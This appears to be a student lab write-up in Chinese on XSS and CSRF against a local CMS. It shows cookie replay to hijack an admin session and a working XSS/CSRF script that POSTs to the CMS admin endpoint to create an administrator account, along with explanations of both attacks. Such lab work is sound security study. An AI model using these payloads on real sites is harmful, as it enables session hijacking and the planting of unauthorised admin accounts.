1.固定会话

• 练习xsspt的使用

使用xsspt来生成语句，并将其插入到可能存在XSS漏洞的地方 

 登录后台查看,

cookie已经拿到 

利用获得的cookie登录

document.cookie = 'username=admin';

document.cookie = 'userid=1';

document.cookie = 'PHPSESSID=qq5cdcqqiucfpde740eoghf1p3';

对url进行修改，即可访问网站后台 

• 详细描述xss原理图

XSS主要使用JavaSript 来完成恶意攻击的行为，JS 可以非常灵活的操纵HTML/CSS/浏览器，这就使得XSS 攻击“想象”空间非常大。

XSS 通过将精心构造的代码（JavaScript）注入到网页中，并由浏览器解释运行这段JS 代码，以达到恶意攻击的效果。当用户访问被XSS 脚本注入过的网页，XSS 脚本就会被提取出来，用户浏览器就会解析执行这段代码，也就是说用户被攻击了。

单从上面的图中可以看出，实现一个XSS攻击至少需要三个角色，服务器端、客服端用户、hacker。

Hacker对Web Sever提供的服务查找XSS注入点，对其注入点注入恶意代码，如注入的存储型XSS，则回存储在数据内，等待用户触发事件执行。   用户访问被注入XSS攻击的网页，则回自动执行之前Hacker注入在服务器中的XSS漏洞指令，而执行的XSS指令，则会对用的cookie、资料等重要信息进行非法获取，甚至冒充用户身份登录网站，

而XSS来带危害很多，包括但不限于（ 盗取各种用户账号 窃取用户Cookie 资料，冒充用户身份进入网站 劫持用户会话执行任意操作 刷流量，执行弹窗广告 传播蠕虫病毒 ）

搜索框、登录框、微博、留言板、聊天室等等收集用户输入的地方，都有可能被注入XSS 代码，都存在遭受XSS 的风险，只要用户的输入没有做严格的过滤，就会被XSS 。

 2.CSRF与XSS漏洞结合，创建网站后台管理员账号

• 能够创建后台管理员账号

首先确认网站后台内没有用户

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.40.137/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=Feng&password=root&password2=root&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

Xmlhttp是一种浏览器对象， 可用于模拟http的GET和POST请求

打开，一个post传参，接一个url(此为cms的后台登录界面)，false为同步，默认为true（异步）

setRequestHeader方法只是XMLHTTP为添加或修改HTTP头提供的一个接口方法而已， 至于里面的值则是HTTP协议的含义。

XMLHttpRequest.send()方法用于实际发出 HTTP 请求。

 XSS与CSRF结合完成。​​​​

• 详细描述CSRF漏洞原理图

CSRF（Cross-site request forgery），中文名称：跨站请求伪造

用户浏览并登录网站A，而网站A则在浏览器生成A的身份凭证Cookie，用户在没有退出A站的情况下，访问B危险网站，则载入恶意代码，向A站发送请求，用户的浏览器则根据B危险网站的代码，期待产生的Cookie的凭证访问A，A不知道本次的请求是用户发出是还是B发出的，但由于是携带用户的Cookie，则A站则根据用户的权限来对请求进行处理。这样B就完成一次CSRF的攻击。